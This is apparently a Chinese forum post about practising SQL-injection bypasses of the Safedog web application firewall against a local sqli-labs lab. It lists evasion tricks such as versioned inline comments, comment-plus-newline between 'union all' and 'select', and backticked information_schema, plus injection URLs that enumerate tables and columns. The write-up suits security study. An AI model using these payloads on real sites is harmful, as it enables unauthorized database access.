安全狗篇

前言

之前一次意淫遇到sql注入,被waf拦截的没脾气,一般的bypass试了也没绕过,还是太菜了,在github上找了一篇文章,练习bypass。

bypass

bypass安全狗-联合注入

安全狗版本 4.0.2655

  1. 特殊运算符

    |表示按位或

    -号也可绕过安全狗

  1. 内联注释(可惜我遇到的waf见到这个直接杀掉。。。)

    /*!/*!/

    这样直接拦截。

    ok,这样是可以的。起初我还有一个小疑问就是中间的数字是啥,其实如果仔细看导出的sql的话,我们就会发现有时候会有这样的语句。这是mysql对标准sql的拓展,在注释中加入!,加上版本号后只有当前mysql版本大于标注的版本号注释内的sql才会执行。换句话说这个注释就是mysql版本号。版本号固定5位,否则注入会出现错误。而这里为什么是11440其他的为什么不行,那就是规则库的问题了。

  2. 注释绕过

    union select注释+换行 拦截

    union all select注释+换行 不拦截

    两者的区别在于union会将多次查询结果作并集,而union all则会将多次查询原封不动输出,问题不大。

  3. 注入

    作者给了几个payload,实测还没失效的

    1)括号

    2)反引号

    http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.`tables` where table_schema='security'--+
    

    还有

    http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security'--+
    

    过了from后面的过滤就好办了

    ``http http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(column_name),3 frominformation_schema`.columns where table_name='user'--+

点击收藏 | 5 关注 | 1
登录 后跟帖